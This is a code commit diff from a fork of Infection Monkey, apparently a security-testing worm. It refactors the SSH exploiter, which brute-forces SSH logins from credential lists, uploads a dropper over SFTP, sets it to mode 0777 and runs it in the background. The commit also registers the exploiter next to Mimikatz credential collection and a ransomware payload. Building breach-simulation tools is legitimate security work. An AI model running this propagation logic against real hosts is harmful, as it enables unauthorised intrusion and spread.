forked from p15670423/monkey
Agent: Modify SSH exploit
* Remove credential hashes from logs * Get rid of config and use brute_force utils * Use telemetry messenger to send attack telemetries * Zerologon and Powershell needs to be revised based on UT
This commit is contained in:
parent
96bd7bca24
commit
f2b2a9c5c3
|
@ -1,10 +1,12 @@
|
||||||
import logging
|
import logging
|
||||||
from abc import abstractmethod
|
from abc import abstractmethod
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
|
from typing import Dict
|
||||||
|
|
||||||
from common.utils.exceptions import FailedExploitationError
|
from common.utils.exceptions import FailedExploitationError
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
|
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -26,7 +28,7 @@ class HostExploiter:
|
||||||
def _EXPLOITED_SERVICE(self):
|
def _EXPLOITED_SERVICE(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self):
|
||||||
self._config = WormConfiguration
|
self._config = WormConfiguration
|
||||||
self.exploit_info = {
|
self.exploit_info = {
|
||||||
"display_name": self._EXPLOITED_SERVICE,
|
"display_name": self._EXPLOITED_SERVICE,
|
||||||
|
@ -37,7 +39,9 @@ class HostExploiter:
|
||||||
"executed_cmds": [],
|
"executed_cmds": [],
|
||||||
}
|
}
|
||||||
self.exploit_attempts = []
|
self.exploit_attempts = []
|
||||||
self.host = host
|
self.host = None
|
||||||
|
self.telemetry_messenger = None
|
||||||
|
self.options = {}
|
||||||
|
|
||||||
def set_start_time(self):
|
def set_start_time(self):
|
||||||
self.exploit_info["started"] = datetime.now().isoformat()
|
self.exploit_info["started"] = datetime.now().isoformat()
|
||||||
|
@ -71,7 +75,11 @@ class HostExploiter:
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
|
||||||
|
self.host = host
|
||||||
|
self.telemetry_messenger = telemetry_messenger
|
||||||
|
self.options = options
|
||||||
|
|
||||||
self.pre_exploit()
|
self.pre_exploit()
|
||||||
result = None
|
result = None
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -14,6 +14,7 @@ from infection_monkey.model import MONKEY_ARG
|
||||||
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
||||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||||
|
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
||||||
from infection_monkey.utils.commands import build_monkey_commandline
|
from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
@ -26,8 +27,8 @@ class SSHExploiter(HostExploiter):
|
||||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||||
_EXPLOITED_SERVICE = "SSH"
|
_EXPLOITED_SERVICE = "SSH"
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self):
|
||||||
super(SSHExploiter, self).__init__(host)
|
super(SSHExploiter, self).__init__()
|
||||||
self._update_timestamp = 0
|
self._update_timestamp = 0
|
||||||
|
|
||||||
def log_transfer(self, transferred, total):
|
def log_transfer(self, transferred, total):
|
||||||
|
@ -37,7 +38,10 @@ class SSHExploiter(HostExploiter):
|
||||||
self._update_timestamp = time.time()
|
self._update_timestamp = time.time()
|
||||||
|
|
||||||
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
||||||
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
|
user_ssh_key_pairs = generate_identity_secret_pairs(
|
||||||
|
identities=self.options["credentials"]["exploit_user_list"],
|
||||||
|
secrets=self.options["credentials"]["exploit_ssh_keys"],
|
||||||
|
)
|
||||||
|
|
||||||
for user, ssh_key_pair in user_ssh_key_pairs:
|
for user, ssh_key_pair in user_ssh_key_pairs:
|
||||||
# Creating file-like private key for paramiko
|
# Creating file-like private key for paramiko
|
||||||
|
@ -67,7 +71,10 @@ class SSHExploiter(HostExploiter):
|
||||||
raise FailedExploitationError
|
raise FailedExploitationError
|
||||||
|
|
||||||
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
|
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
user_password_pairs = generate_identity_secret_pairs(
|
||||||
|
identities=self.options["credentials"]["exploit_user_list"],
|
||||||
|
secrets=self.options["credentials"]["exploit_password_list"],
|
||||||
|
)
|
||||||
|
|
||||||
for user, current_password in user_password_pairs:
|
for user, current_password in user_password_pairs:
|
||||||
|
|
||||||
|
@ -76,23 +83,16 @@ class SSHExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
|
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
|
||||||
|
|
||||||
logger.debug(
|
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
||||||
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
|
|
||||||
self.host,
|
|
||||||
user,
|
|
||||||
self._config.hash_sensitive_data(current_password),
|
|
||||||
)
|
|
||||||
self.add_vuln_port(port)
|
self.add_vuln_port(port)
|
||||||
self.report_login_attempt(True, user, current_password)
|
self.report_login_attempt(True, user, current_password)
|
||||||
return ssh
|
return ssh
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.debug(
|
logger.debug(
|
||||||
"Error logging into victim %r with user"
|
"Error logging into victim %r with user" " %s: (%s)",
|
||||||
" %s and password (SHA-512) '%s': (%s)",
|
|
||||||
self.host,
|
self.host,
|
||||||
user,
|
user,
|
||||||
self._config.hash_sensitive_data(current_password),
|
|
||||||
exc,
|
exc,
|
||||||
)
|
)
|
||||||
self.report_login_attempt(False, user, current_password)
|
self.report_login_attempt(False, user, current_password)
|
||||||
|
@ -159,37 +159,41 @@ class SSHExploiter(HostExploiter):
|
||||||
with monkeyfs.open(src_path) as file_obj:
|
with monkeyfs.open(src_path) as file_obj:
|
||||||
ftp.putfo(
|
ftp.putfo(
|
||||||
file_obj,
|
file_obj,
|
||||||
self._config.dropper_target_path_linux,
|
self.options["dropper_target_path_linux"],
|
||||||
file_size=monkeyfs.getsize(src_path),
|
file_size=monkeyfs.getsize(src_path),
|
||||||
callback=self.log_transfer,
|
callback=self.log_transfer,
|
||||||
)
|
)
|
||||||
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
|
||||||
status = ScanStatus.USED
|
status = ScanStatus.USED
|
||||||
|
self.telemetry_messenger.send_telemetry(
|
||||||
T1222Telem(
|
T1222Telem(
|
||||||
ScanStatus.USED,
|
ScanStatus.USED,
|
||||||
"chmod 0777 %s" % self._config.dropper_target_path_linux,
|
"chmod 0777 %s" % self.options["dropper_target_path_linux"],
|
||||||
self.host,
|
self.host,
|
||||||
).send()
|
)
|
||||||
|
)
|
||||||
ftp.close()
|
ftp.close()
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||||
status = ScanStatus.SCANNED
|
status = ScanStatus.SCANNED
|
||||||
|
|
||||||
|
self.telemetry_messenger.send_telemetry(
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
||||||
).send()
|
)
|
||||||
|
)
|
||||||
if status == ScanStatus.SCANNED:
|
if status == ScanStatus.SCANNED:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
cmdline += " > /dev/null 2>&1 &"
|
cmdline += " > /dev/null 2>&1 &"
|
||||||
ssh.exec_command(cmdline)
|
ssh.exec_command(cmdline)
|
||||||
|
|
||||||
logger.info(
|
logger.info(
|
||||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
self._config.dropper_target_path_linux,
|
self.options["dropper_target_path_linux"],
|
||||||
self.host,
|
self.host,
|
||||||
cmdline,
|
cmdline,
|
||||||
)
|
)
|
||||||
|
|
|
@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import (
|
||||||
MimikatzCredentialCollector,
|
MimikatzCredentialCollector,
|
||||||
SSHCredentialCollector,
|
SSHCredentialCollector,
|
||||||
)
|
)
|
||||||
|
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||||
from infection_monkey.i_puppet import IPuppet, PluginType
|
from infection_monkey.i_puppet import IPuppet, PluginType
|
||||||
from infection_monkey.master import AutomatedMaster
|
from infection_monkey.master import AutomatedMaster
|
||||||
from infection_monkey.master.control_channel import ControlChannel
|
from infection_monkey.master.control_channel import ControlChannel
|
||||||
|
@ -194,7 +195,7 @@ class InfectionMonkey:
|
||||||
return local_network_interfaces
|
return local_network_interfaces
|
||||||
|
|
||||||
def _build_puppet(self) -> IPuppet:
|
def _build_puppet(self) -> IPuppet:
|
||||||
puppet = Puppet()
|
puppet = Puppet(self.telemetry_messenger)
|
||||||
|
|
||||||
puppet.load_plugin(
|
puppet.load_plugin(
|
||||||
"MimikatzCollector",
|
"MimikatzCollector",
|
||||||
|
@ -213,6 +214,8 @@ class InfectionMonkey:
|
||||||
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
||||||
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
||||||
|
|
||||||
|
puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER)
|
||||||
|
|
||||||
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
|
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
|
||||||
|
|
||||||
return puppet
|
return puppet
|
||||||
|
|
|
@ -14,6 +14,7 @@ from infection_monkey.i_puppet import (
|
||||||
PostBreachData,
|
PostBreachData,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||||
from .mock_puppet import MockPuppet
|
from .mock_puppet import MockPuppet
|
||||||
from .plugin_registry import PluginRegistry
|
from .plugin_registry import PluginRegistry
|
||||||
|
|
||||||
|
@ -21,9 +22,10 @@ logger = logging.getLogger()
|
||||||
|
|
||||||
|
|
||||||
class Puppet(IPuppet):
|
class Puppet(IPuppet):
|
||||||
def __init__(self) -> None:
|
def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None:
|
||||||
self._mock_puppet = MockPuppet()
|
self._mock_puppet = MockPuppet()
|
||||||
self._plugin_registry = PluginRegistry()
|
self._plugin_registry = PluginRegistry()
|
||||||
|
self._telemetry_messenger = telemetry_messenger
|
||||||
|
|
||||||
def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None:
|
def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None:
|
||||||
self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type)
|
self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type)
|
||||||
|
@ -56,10 +58,12 @@ class Puppet(IPuppet):
|
||||||
fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER)
|
fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER)
|
||||||
return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options)
|
return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options)
|
||||||
|
|
||||||
|
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||||
def exploit_host(
|
def exploit_host(
|
||||||
self, name: str, host: str, options: Dict, interrupt: threading.Event
|
self, name: str, host: object, options: Dict, interrupt: threading.Event
|
||||||
) -> ExploiterResultData:
|
) -> ExploiterResultData:
|
||||||
return self._mock_puppet.exploit_host(name, host, options, interrupt)
|
exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER)
|
||||||
|
return exploiter.exploit_host(host, self._telemetry_messenger, options)
|
||||||
|
|
||||||
def run_payload(self, name: str, options: Dict, interrupt: threading.Event):
|
def run_payload(self, name: str, options: Dict, interrupt: threading.Event):
|
||||||
payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD)
|
payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD)
|
||||||
|
|
|
@ -1,12 +1,19 @@
|
||||||
import threading
|
import threading
|
||||||
from unittest.mock import MagicMock
|
from unittest.mock import MagicMock
|
||||||
|
|
||||||
|
import pytest
|
||||||
|
|
||||||
from infection_monkey.i_puppet import PluginType
|
from infection_monkey.i_puppet import PluginType
|
||||||
from infection_monkey.puppet.puppet import Puppet
|
from infection_monkey.puppet.puppet import Puppet
|
||||||
|
|
||||||
|
|
||||||
def test_puppet_run_payload_success(monkeypatch):
|
@pytest.fixture
|
||||||
p = Puppet()
|
def mock_telemetry_messenger():
|
||||||
|
return MagicMock()
|
||||||
|
|
||||||
|
|
||||||
|
def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger):
|
||||||
|
p = Puppet(mock_telemetry_messenger)
|
||||||
|
|
||||||
payload = MagicMock()
|
payload = MagicMock()
|
||||||
payload_name = "PayloadOne"
|
payload_name = "PayloadOne"
|
||||||
|
@ -17,8 +24,8 @@ def test_puppet_run_payload_success(monkeypatch):
|
||||||
payload.run.assert_called_once()
|
payload.run.assert_called_once()
|
||||||
|
|
||||||
|
|
||||||
def test_puppet_run_multiple_payloads(monkeypatch):
|
def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger):
|
||||||
p = Puppet()
|
p = Puppet(mock_telemetry_messenger)
|
||||||
|
|
||||||
payload_1 = MagicMock()
|
payload_1 = MagicMock()
|
||||||
payload1_name = "PayloadOne"
|
payload1_name = "PayloadOne"
|
||||||
|
|
Loading…
Reference in New Issue